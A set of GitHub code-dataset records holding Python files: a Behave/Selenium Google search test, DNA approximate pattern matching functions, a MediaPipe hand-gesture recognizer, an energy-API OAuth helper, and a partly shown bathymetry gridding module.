chrome browser')\ndef step_impl(context):\n context.driver = webdriver.Chrome(\n executable_path=\"C:/Users/crochet-08/PycharmProjects/BehaveProject/Chrome/chromedriver.exe\")\n context.driver.implicitly_wait(3)\n context.driver.maximize_window()\n print(\"Chrome Browser Opened Successfully\")\n time.sleep(10)\n\n@when(u'I opened google URL')\ndef step_impl(context):\n context.driver.implicitly_wait(3)\n context.driver.get(\"https://www.google.com/\")\n print(\"URL opened Successfully\")\n time.sleep(10)\n\n@when(u'I searched python')\ndef step_impl(context):\n context.driver.implicitly_wait(3)\n context.driver.find_element_by_xpath(\"//input[@title='Search']\").send_keys(\"Python\")\n action = ActionChains(context.driver)\n action.send_keys(Keys.ENTER).perform()\n\n@then(u'Title is verified after performing search action')\ndef step_impl(context):\n ExpectedText = \"Welcome to Python.org\"\n try:\n context.driver.implicitly_wait(3)\n ActualText = context.driver.find_element_by_xpath(\"//h3[text()='Welcome to Python.org']\").text\n assert ActualText in ExpectedText, \"Page is not verified\"\n except Exception as e:\n print(e)\n\n@then(u'Title is not verified after performing search action')\ndef step_impl(context):\n ExpectedText1 = \"Welcome to Python.org\"\n context.driver.implicitly_wait(3)\n ActualText1 = context.driver.find_element_by_xpath(\"//h3[text()='Welcome to Python.org1111']\").text\n print(ActualText1)\n assert ActualText1 in ExpectedText1, \"Page is not verified\"","repo_name":"Gagan139896/BehaveProject","sub_path":"features/steps/Google.py","file_name":"Google.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31706702589","text":"def HammingDistance_bound(p, q, d):\n if len(p) != len(q):\n return 'Invalid input'\n\n hamming_dist = 0 # Initialize to zero\n\n for i in range(len(p)):\n if p[i] == q[i]:\n continue\n elif p[i] != q[i] and hamming_dist <= d:\n hamming_dist += 1\n continue\n else:\n break\n #print hamming_dist\n return hamming_dist\n\n\n'''\nWe say that a k-mer Pattern appears as a substring of Text with at most d mismatches if there is some k-mer substring Pattern'\nof Text having d or fewer mismatches with Pattern, i.e., HammingDistance(Pattern, Pattern') ≤ d. Our observation that a DnaA\nbox may appear with slight variations leads to the following generalization of the Pattern Matching Problem.\n\nApproximate Pattern Matching Problem: Find all approximate occurrences of a pattern in a string.\n Input: Strings Pattern and Text along with an integer d.\n Output: All starting positions where Pattern appears as a substring of Text with at most d mismatches.\n\nCode Challenge: Solve the Approximate Pattern Matching Problem.\n'''\n\ndef ApproximatePatternMatching(Pattern, Text, d):\n # Create a list to store indexes of approximate matches.\n approx_match = []\n\n for i in range(len(Text) - len(Pattern) + 1):\n temp = HammingDistance_bound(Pattern, Text[i: i+len(Pattern)], d)\n\n if temp <= d:\n approx_match.append(str(i))\n\n return approx_match\n\n\n\n\n'''\nOur goal now is to modify our previous algorithm for the Frequent Words Problem in order to find DnaA boxes by identifying\nfrequent k-mers, possibly with mismatches. Given strings Text and Pattern as well as an integer d, we define\nCountd(Text, Pattern) as the total number of occurrences of Pattern in Text with at most d mismatches. For example,\nCount1(AACAAGCTGATAAACATTTAAAGAG, AAAAA) = 4 because AAAAA appears four times in this string with at most one mismatch:\nAACAA, ATAAA, AAACA, and AAAGA. Note that two of these occurrences overlap.\n'''\n\ndef Count(Pattern, Text, d):\n total_count = len(ApproximatePatternMatching(Pattern, Text, d))\n return total_count\n","repo_name":"alexanderwood/bioinformatics-algorithms","sub_path":"IndividualFunctions/ApproximatePatternCount.py","file_name":"ApproximatePatternCount.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20074015393","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport csv\nimport copy\nimport argparse\nimport itertools\nfrom collections import Counter\nfrom collections import deque\n\nimport cv2 as cv\nimport numpy as np\nimport mediapipe as mp\n\nfrom utils import CvFpsCalc\nfrom model import KeyPointClassifier\nfrom model import PointHistoryClassifier\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--device\", type=int, default=0)\n parser.add_argument(\"--width\", help='cap width', type=int, default=960)\n parser.add_argument(\"--height\", help='cap height', type=int, default=540)\n\n parser.add_argument('--use_static_image_mode', action='store_true')\n parser.add_argument(\"--min_detection_confidence\",\n help='min_detection_confidence',\n type=float,\n default=0.7)\n parser.add_argument(\"--min_tracking_confidence\",\n help='min_tracking_confidence',\n type=int,\n default=0.5)\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n # 引数解析 #################################################################\n args = get_args()\n\n cap_device = args.device\n cap_width = args.width\n cap_height = args.height\n\n use_static_image_mode = args.use_static_image_mode\n min_detection_confidence = args.min_detection_confidence\n min_tracking_confidence = args.min_tracking_confidence\n\n use_brect = True\n\n # カメラ準備 ###############################################################\n cap = cv.VideoCapture(cap_device)\n cap.set(cv.CAP_PROP_FRAME_WIDTH, cap_width)\n cap.set(cv.CAP_PROP_FRAME_HEIGHT, cap_height)\n\n # モデルロード #############################################################\n mp_hands = mp.solutions.hands\n hands = mp_hands.Hands(\n static_image_mode=use_static_image_mode,\n max_num_hands=1,\n min_detection_confidence=min_detection_confidence,\n min_tracking_confidence=min_tracking_confidence,\n )\n\n keypoint_classifier = KeyPointClassifier()\n\n point_history_classifier = PointHistoryClassifier()\n\n # ラベル読み込み ###########################################################\n with open('model/keypoint_classifier/keypoint_classifier_label.csv',\n encoding='utf-8-sig') as f:\n keypoint_classifier_labels = csv.reader(f)\n keypoint_classifier_labels = [\n row[0] for row in keypoint_classifier_labels\n ]\n with open(\n 'model/point_history_classifier/point_history_classifier_label.csv',\n encoding='utf-8-sig') as f:\n point_history_classifier_labels = csv.reader(f)\n point_history_classifier_labels = [\n row[0] for row in point_history_classifier_labels\n ]\n\n # FPS計測モジュール ########################################################\n cvFpsCalc = CvFpsCalc(buffer_len=10)\n\n # 座標履歴 #################################################################\n history_length = 16\n point_history = deque(maxlen=history_length)\n\n # フィンガージェスチャー履歴 ################################################\n finger_gesture_history = deque(maxlen=history_length)\n\n # ########################################################################\n mode = 0\n\n while True:\n fps = cvFpsCalc.get()\n\n # キー処理(ESC:終了) #################################################\n key = cv.waitKey(10)\n if key == 27: # ESC\n break\n number, mode = select_mode(key, mode)\n\n # カメラキャプチャ #####################################################\n ret, image = cap.read()\n if not ret:\n break\n image = cv.flip(image, 1) # ミラー表示\n debug_image = copy.deepcopy(image)\n\n # 検出実施 #############################################################\n image = cv.cvtColor(image, cv.COLOR_BGR2RGB)\n\n image.flags.writeable = False\n results = hands.process(image)\n image.flags.writeable = True\n\n # ####################################################################\n if results.multi_hand_landmarks is not None:\n for hand_landmarks, handedness in zip(results.multi_hand_landmarks,\n results.multi_handedness):\n # 外接矩形の計算\n brect = calc_bounding_rect(debug_image, hand_landmarks)\n # ランドマークの計算\n landmark_list = calc_landmark_list(debug_image, hand_landmarks)\n\n # 相対座標・正規化座標への変換\n pre_processed_landmark_list = pre_process_landmark(\n landmark_list)\n pre_processed_point_history_list = pre_process_point_history(\n debug_image, point_history)\n # 学習データ保存\n logging_csv(number, mode, pre_processed_landmark_list,\n pre_processed_point_history_list)\n\n # ハンドサイン分類\n hand_sign_id = keypoint_classifier(pre_processed_landmark_list)\n if hand_sign_id == 2: # 指差しサイン\n point_history.append(landmark_list[8]) # 人差指座標\n else:\n point_history.append([0, 0])\n\n # フィンガージェスチャー分類\n finger_gesture_id = 0\n point_history_len = len(pre_processed_point_history_list)\n if point_history_len == (history_length * 2):\n finger_gesture_id = point_history_classifier(\n pre_processed_point_history_list)\n\n # 直近検出の中で最多のジェスチャーIDを算出\n finger_gesture_history.append(finger_gesture_id)\n most_common_fg_id = Counter(\n finger_gesture_history).most_common()\n\n # 描画\n debug_image = draw_bounding_rect(use_brect, debug_image, brect)\n debug_image = draw_landmarks(debug_image, landmark_list)\n debug_image = draw_info_text(\n debug_image,\n brect,\n handedness,\n keypoint_classifier_labels[hand_sign_id],\n point_history_classifier_labels[most_common_fg_id[0][0]],\n )\n else:\n point_history.append([0, 0])\n\n debug_image = draw_point_history(debug_image, point_history)\n debug_image = draw_info(debug_image, fps, mode, number)\n\n # 画面反映 #############################################################\n cv.imshow('Hand Gesture Recognition', debug_image)\n\n cap.release()\n cv.destroyAllWindows()\n\n\ndef select_mode(key, mode):\n number = -1\n if 48 <= key <= 57: # 0 ~ 9\n number = key - 48\n if key == 110: # n\n mode = 0\n if key == 107: # k\n mode = 1\n if key == 104: # h\n mode = 2\n return number, mode\n\n\ndef calc_bounding_rect(image, landmarks):\n image_width, image_height = image.shape[1], image.shape[0]\n\n landmark_array = np.empty((0, 2), int)\n\n for _, landmark in enumerate(landmarks.landmark):\n landmark_x = min(int(landmark.x * image_width), image_width - 1)\n landmark_y = min(int(landmark.y * image_height), image_height - 1)\n\n landmark_point = [np.array((landmark_x, landmark_y))]\n\n landmark_array = np.append(landmark_array, landmark_point, axis=0)\n\n x, y, w, h = cv.boundingRect(landmark_array)\n\n return [x, y, x + w, y + h]\n\n\ndef calc_landmark_list(image, landmarks):\n image_width, image_height = image.shape[1], image.shape[0]\n\n landmark_point = []\n\n # キーポイント\n for _, landmark in enumerate(landmarks.landmark):\n landmark_x = min(int(landmark.x * image_width), image_width - 1)\n landmark_y = min(int(landmark.y * image_height), image_height - 1)\n # landmark_z = landmark.z\n\n landmark_point.append([landmark_x, landmark_y])\n\n return landmark_point\n\n\ndef pre_process_landmark(landmark_list):\n temp_landmark_list = copy.deepcopy(landmark_list)\n\n # 相対座標に変換\n base_x, base_y = 0, 0\n for index, landmark_point in enumerate(temp_landmark_list):\n if index == 0:\n base_x, base_y = landmark_point[0], landmark_point[1]\n\n temp_landmark_list[index][0] = temp_landmark_list[index][0] - base_x\n temp_landmark_list[index][1] = temp_landmark_list[index][1] - base_y\n\n # 1次元リストに変換\n temp_landmark_list = list(\n itertools.chain.from_iterable(temp_landmark_list))\n\n # 正規化\n max_value = max(list(map(abs, temp_landmark_list)))\n\n def normalize_(n):\n return n / max_value\n\n temp_landmark_list = list(map(normalize_, temp_landmark_list))\n\n return temp_landmark_list\n\n\ndef pre_process_point_history(image, point_history):\n image_width, image_height = image.shape[1], image.shape[0]\n\n temp_point_history = copy.deepcopy(point_history)\n\n # 相対座標に変換\n base_x, base_y = 0, 0\n for index, point in enumerate(temp_point_history):\n if index == 0:\n base_x, base_y = point[0], point[1]\n\n temp_point_history[index][0] = (temp_point_history[index][0] -\n base_x) / image_width\n temp_point_history[index][1] = (temp_point_history[index][1] -\n base_y) / image_height\n\n # 1次元リストに変換\n temp_point_history = list(\n itertools.chain.from_iterable(temp_point_history))\n\n return temp_point_history\n\n\ndef logging_csv(number, mode, landmark_list, point_history_list):\n if mode == 0:\n pass\n if mode == 1 and (0 <= number <= 9):\n csv_path = 'model/keypoint_classifier/keypoint.csv'\n with open(csv_path, 'a', newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerow([number, *landmark_list])\n if mode == 2 and (0 <= number <= 9):\n csv_path = 'model/point_history_classifier/point_history.csv'\n with open(csv_path, 'a', newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerow([number, *point_history_list])\n return\n\n\ndef draw_landmarks(image, landmark_point):\n # 接続線\n if len(landmark_point) > 0:\n # 親指\n cv.line(image, tuple(landmark_point[2]), tuple(landmark_point[3]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[2]), tuple(landmark_point[3]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[3]), tuple(landmark_point[4]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[3]), tuple(landmark_point[4]),\n (255, 255, 255), 2)\n\n # 人差指\n cv.line(image, tuple(landmark_point[5]), tuple(landmark_point[6]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[5]), tuple(landmark_point[6]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[6]), tuple(landmark_point[7]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[6]), tuple(landmark_point[7]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[7]), tuple(landmark_point[8]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[7]), tuple(landmark_point[8]),\n (255, 255, 255), 2)\n\n # 中指\n cv.line(image, tuple(landmark_point[9]), tuple(landmark_point[10]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[9]), tuple(landmark_point[10]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[10]), tuple(landmark_point[11]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[10]), tuple(landmark_point[11]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[11]), tuple(landmark_point[12]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[11]), tuple(landmark_point[12]),\n (255, 255, 255), 2)\n\n # 薬指\n cv.line(image, tuple(landmark_point[13]), tuple(landmark_point[14]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[13]), tuple(landmark_point[14]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[14]), tuple(landmark_point[15]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[14]), tuple(landmark_point[15]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[15]), tuple(landmark_point[16]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[15]), tuple(landmark_point[16]),\n (255, 255, 255), 2)\n\n # 小指\n cv.line(image, tuple(landmark_point[17]), tuple(landmark_point[18]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[17]), tuple(landmark_point[18]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[18]), tuple(landmark_point[19]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[18]), tuple(landmark_point[19]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[19]), tuple(landmark_point[20]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[19]), tuple(landmark_point[20]),\n (255, 255, 255), 2)\n\n # 手の平\n cv.line(image, tuple(landmark_point[0]), tuple(landmark_point[1]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[0]), tuple(landmark_point[1]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[1]), tuple(landmark_point[2]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[1]), tuple(landmark_point[2]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[2]), tuple(landmark_point[5]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[2]), tuple(landmark_point[5]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[5]), tuple(landmark_point[9]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[5]), tuple(landmark_point[9]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[9]), tuple(landmark_point[13]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[9]), tuple(landmark_point[13]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[13]), tuple(landmark_point[17]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[13]), tuple(landmark_point[17]),\n (255, 255, 255), 2)\n cv.line(image, tuple(landmark_point[17]), tuple(landmark_point[0]),\n (0, 0, 0), 6)\n cv.line(image, tuple(landmark_point[17]), tuple(landmark_point[0]),\n (255, 255, 255), 2)\n\n # キーポイント\n for index, landmark in enumerate(landmark_point):\n if index == 0: # 手首1\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 1: # 手首2\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 2: # 親指:付け根\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 3: # 親指:第1関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 4: # 親指:指先\n cv.circle(image, (landmark[0], landmark[1]), 8, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 8, (0, 0, 0), 1)\n if index == 5: # 人差指:付け根\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 6: # 人差指:第2関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 7: # 人差指:第1関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 8: # 人差指:指先\n cv.circle(image, (landmark[0], landmark[1]), 8, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 8, (0, 0, 0), 1)\n if index == 9: # 中指:付け根\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 10: # 中指:第2関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 11: # 中指:第1関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 12: # 中指:指先\n cv.circle(image, (landmark[0], landmark[1]), 8, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 8, (0, 0, 0), 1)\n if index == 13: # 薬指:付け根\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 14: # 薬指:第2関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 15: # 薬指:第1関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 16: # 薬指:指先\n cv.circle(image, (landmark[0], landmark[1]), 8, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 8, (0, 0, 0), 1)\n if index == 17: # 小指:付け根\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 18: # 小指:第2関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 19: # 小指:第1関節\n cv.circle(image, (landmark[0], landmark[1]), 5, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 5, (0, 0, 0), 1)\n if index == 20: # 小指:指先\n cv.circle(image, (landmark[0], landmark[1]), 8, (255, 255, 255),\n -1)\n cv.circle(image, (landmark[0], landmark[1]), 8, (0, 0, 0), 1)\n\n return image\n\n\ndef draw_bounding_rect(use_brect, image, brect):\n if use_brect:\n # 外接矩形\n cv.rectangle(image, (brect[0], brect[1]), (brect[2], brect[3]),\n (0, 0, 0), 1)\n\n return image\n\n\ndef draw_info_text(image, brect, handedness, hand_sign_text,\n finger_gesture_text):\n cv.rectangle(image, (brect[0], brect[1]), (brect[2], brect[1] - 22),\n (0, 0, 0), -1)\n\n info_text = handedness.classification[0].label[0:]\n if hand_sign_text != \"\":\n info_text = info_text + ':' + hand_sign_text\n cv.putText(image, info_text, (brect[0] + 5, brect[1] - 4),\n cv.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 1, cv.LINE_AA)\n\n if finger_gesture_text != \"\":\n cv.putText(image, \"Finger Gesture:\" + finger_gesture_text, (10, 60),\n cv.FONT_HERSHEY_SIMPLEX, 1.0, (0, 0, 0), 4, cv.LINE_AA)\n cv.putText(image, \"Finger Gesture:\" + finger_gesture_text, (10, 60),\n cv.FONT_HERSHEY_SIMPLEX, 1.0, (255, 255, 255), 2,\n cv.LINE_AA)\n\n return image\n\n\ndef draw_point_history(image, point_history):\n for index, point in enumerate(point_history):\n if point[0] != 0 and point[1] != 0:\n cv.circle(image, (point[0], point[1]), 1 + int(index / 2),\n (152, 251, 152), 2)\n\n return image\n\n\ndef draw_info(image, fps, mode, number):\n cv.putText(image, \"FPS:\" + str(fps), (10, 30), cv.FONT_HERSHEY_SIMPLEX,\n 1.0, (0, 0, 0), 4, cv.LINE_AA)\n cv.putText(image, \"FPS:\" + str(fps), (10, 30), cv.FONT_HERSHEY_SIMPLEX,\n 1.0, (255, 255, 255), 2, cv.LINE_AA)\n\n mode_string = ['Logging Key Point', 'Logging Point History']\n if 1 <= mode <= 2:\n cv.putText(image, \"MODE:\" + mode_string[mode - 1], (10, 90),\n cv.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 1,\n cv.LINE_AA)\n if 0 <= number <= 9:\n cv.putText(image, \"NUM:\" + str(number), (10, 110),\n cv.FONT_HERSHEY_SIMPLEX, 0.6, (255, 255, 255), 1,\n cv.LINE_AA)\n return image\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Kazuhito00/hand-gesture-recognition-using-mediapipe","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":22126,"program_lang":"python","lang":"en","doc_type":"code","stars":421,"dataset":"github-code","pt":"35"} +{"seq_id":"2241389504","text":"import datetime\nfrom flask_login import login_required, current_user\nfrom project import app\nfrom requests import post, get\nfrom requests.auth import HTTPBasicAuth\nfrom project import db\n\ndef get_energy_accounts(unique_id):\n access_token = get_access_token()\n\n url = '{PELM_API_URL}/users/{unique_id}/accounts'.format(\n PELM_API_URL=app.config.get('PELM_API_URL'),\n unique_id=unique_id,\n )\n headers = {\n 'Authorization': 'Bearer {}'.format(access_token)\n }\n response = get(url, headers=headers)\n\n return response.json()['account_ids']\n\n\ndef get_energy_data_for_account(account_id, start_date, end_date):\n access_token = get_access_token()\n\n url = '{PELM_API_URL}/accounts/{account_id}/intervals?start_date={start_date}&end_date={end_date}'.format(\n PELM_API_URL=app.config.get('PELM_API_URL'),\n account_id=account_id,\n start_date=start_date,\n end_date=end_date\n )\n headers = {\n 'Authorization': 'Bearer {}'.format(access_token)\n }\n response = get(url=url, headers=headers)\n\n return response.text\n\n\ndef exchange_authorization_code_for_access_token(code):\n url = '{PELM_API_URL}/auth/token'.format(\n PELM_API_URL=app.config.get('PELM_API_URL')\n )\n data = {\n 'grant_type': 'code',\n 'code': code,\n 'redirect_uri': '{}/redirect'.format(app.config.get('STOUT_URL'))\n }\n auth = HTTPBasicAuth(app.config.get('PELM_CLIENT_ID'), app.config.get('PELM_CLIENT_SECRET'))\n\n response = post(url, data=data, auth=auth)\n\n return response.json()\n\n\ndef get_access_token():\n current_time = datetime.datetime.now()\n token = current_user.token\n\n if not token or not token.refresh_token or token.refresh_token_expiration < current_time:\n raise Exception(\"Must authorize user\")\n\n if token.access_token_expiration < current_time:\n refresh_access_token()\n\n return current_user.token.access_token\n\n\ndef refresh_access_token():\n token = current_user.token\n\n pelm_token_url = '{PELM_API_URL}/auth/token'.format(\n PELM_API_URL=app.config.get('PELM_API_URL')\n )\n data = {\n 'grant_type': 'refresh_token',\n 'refresh_token': token.refresh_token\n }\n auth = HTTPBasicAuth(app.config.get('PELM_CLIENT_ID'), app.config.get('PELM_CLIENT_SECRET'))\n print(\"refreshing token with the following:\")\n print(f\"token: {token}\")\n print(f\"url: {pelm_token_url}\")\n response = post(pelm_token_url, data=data, auth=auth)\n print(f\"response: {response}\")\n data = response.json()\n print(f\"data: {data}\")\n\n token.update_token(access_token=data['access_token'],\n access_token_expiration=datetime.datetime.now() + datetime.timedelta(seconds=data['access_token_expires_in']))\n db.session.commit()","repo_name":"3dmund/stout","sub_path":"project/helpers/pelm_helpers.py","file_name":"pelm_helpers.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70587157222","text":"import numpy as np\nfrom PIL import Image\nimport numpy as np\nimport rasterio\nfrom osgeo import gdal\nfrom rasterio.plot import show\nimport matplotlib.pyplot as plt\nfrom rasterio.warp import transform_bounds\nfrom torchvision import transforms\nimport cv2\nimport os\nimport pandas as pd\n\n\n# ### Overview\n# Note, this function definition is based heavily on bathymetry_create_data_1ab.py and MBARI_load_25-m_data_test_1a.py. For step by step demonstration of this function, see those files.\n\ndef load_bathymetry_map(file_path, transform_flag=None):\n if '.tif' in file_path:\n img = rasterio.open(file_path)\n full_img = img.read(1, masked=True)\n \n try:\n if transform_flag is None:\n wgs84_bounds = transform_bounds(img.crs, \"epsg:4326\", *img.bounds) # make sure projection is correct\n transform = rasterio.transform.from_bounds(*wgs84_bounds,img.shape[1],img.shape[0])\n cols, rows = np.meshgrid(np.arange(img.shape[1]), np.arange(img.shape[0]))\n xs, ys = rasterio.transform.xy(transform, rows, cols)\n lons = np.array(xs)[0,:]\n lats = np.array(ys)[:,0]\n elif transform_flag is 'linear':\n # get boundaries and initialize variables\n wgs84_bounds = transform_bounds(img.crs, \"epsg:4326\", *img.bounds)\n xllcorner = wgs84_bounds[0]\n yllcorner = wgs84_bounds[1]\n div_factor = 89,302.4562 # determined this from montereyc.asc file, 25 m / x = 0.0002799475072\n temp = gdal.Open(file_path)\n gt = temp.GetGeoTransform()\n cellsize_x = np.abs(gt[1])/div_factor\n cellsize_y = np.abs(gt[-1])/div_factor\n nrows = img.shape[0]\n ncols = img.shape[1]\n \n # create lat long vectors\n lons = np.linspace(start=xllcorner, stop=wgs84_bounds[2], num=int(ncols))\n lats = np.linspace(start=wgs84_bounds[3], stop=yllcorner, num=int(nrows)) # we have to reverse this linspace because of the way the data is formatted; (0,0) pixel is in the upper right corner\n \n \n except:\n lons = None\n lats = None\n \n elif '.asc' in file_path:\n img = np.loadtxt(file_path, skiprows=6)\n info = pd.read_table(file_path,nrows=6,header=None, delimiter=' ')\n \n # define the variables presented in the table above explicitly\n ncols = info.iloc[0,1]\n nrows = info.iloc[1,1]\n xllcorner = info.iloc[2,1]\n yllcorner = info.iloc[3,1]\n cellsize = info.iloc[4,1]\n nanvalue = info.iloc[5,1]\n \n # define latitude/longitude vectors\n lons = np.linspace(start=xllcorner, stop=ncols*cellsize + xllcorner, num=int(ncols))\n lats = np.linspace(start=nrows*cellsize + yllcorner, stop=yllcorner, num=int(nrows)) # we have to reverse this linspace because of the way the data is formatted; (0,0) pixel is in the upper right corner\n \n # define masked array according to nanvalue\n full_img = np.ma.masked_where(img == nanvalue, img)\n else:\n img = 'unknown file type'\n lons = None\n lats = None\n \n output = {\n 'img': full_img,\n 'lats': lats,\n 'lons': lons\n }\n \n return output\n\ndef zm_to_8bit(data):\n \"\"\"\n This function takes in data bound within [-1, 1] and transforms it to [0, 256) so it can be saved as an 8 bit image file (reduce data set size).\n\n Args:\n data: N-D array of floats centered around zero and bounded within range -1 to 1\n\n Returns:\n out_8bit: N-D array of uint8's ranging from 0 to 255\n\n \"\"\"\n\n temp = (data + 1)/2\n out_8bit = (temp*255).astype(np.uint8)\n\n return out_8bit\n\ndef bit_to_zm(data):\n \"\"\"\n This function takes in data bound within [0, 255) and centers it around zero such that is bound by [-1, 1].\n\n Args:\n data: N-D array of uint8's ranging from 0 to 255\n\n Returns:\n out_8bit: N-D array of floats centered around zero and bounded within range -1 to 1\n\n \"\"\"\n\n temp = (data + 1)/2\n out_8bit = (temp*255).astype(np.uint8)\n\n return out_8bit\n\n# ### Gridder Class\n#\n# The goal for this class is to allow for various methods such as creating a gridded data set and saving array data to a folder, determining the distribution of zero-mean data samples, and potentially converting data to an image format that could be saved in an image folder, along with the transformations that allow the user to return the data to the true range.\n\nclass Gridder():\n \n def __init__(self, full_img, lats, lons, window_size, overlap, im_dir, prefix=None):\n \"\"\"\n The Gridder class, which contains various methods including the ability to create a gridded data set,\n plot a histogram of sample values, and more...\n\n Args:\n full_img: masked np array of shape (height,width) corresponding to fully loaded bathymetry data\n lats: 1D vector of floats, latitude coordinates of data in full_img\n lons: 1D vector of floats, longitude coordinates of data in full_img\n window_size: int, dimension of the output grids\n overlap: float in the range [0, 1), how much the grids should overlap with one another\n im_dir: str, path to save images\n prefix: (optional) str, what to include when saving each file \n\n \"\"\"\n \n self.full_img = full_img\n self.lats = lats\n self.lons = lons\n self.window_size = window_size\n self.overlap = overlap\n self.im_dir = im_dir\n self.prefix = prefix\n\n\n def grid_zm_scaled_npy(self, scale_factor):\n \"\"\"\n Saves scaled zero-mean gridded data set as numpy arrays from a bathymetry map.\n\n Args:\n self: Gridder object, (see __init__ for variables) \n scale_factor: float, how much to divide all samples in the data set by in order to put into range -1 to 1\n\n \"\"\"\n\n # define the prefix for file saving\n prefix = 'im' if self.prefix is None else self.prefix\n\n # define the height and width of the fully loaded map\n height = self.full_img.shape[0]\n width = self.full_img.shape[1]\n\n # determine the step size based on the window size and overlap %\n step_size = self.window_size - int(np.floor(self.window_size*self.overlap))\n\n # initialize row index and column index to iterate over\n r_idx = 0\n c_idx = 0\n i = 0\n\n # begin the main loop\n while r_idx + self.window_size <= height:\n while c_idx + self.window_size <= width:\n # define the 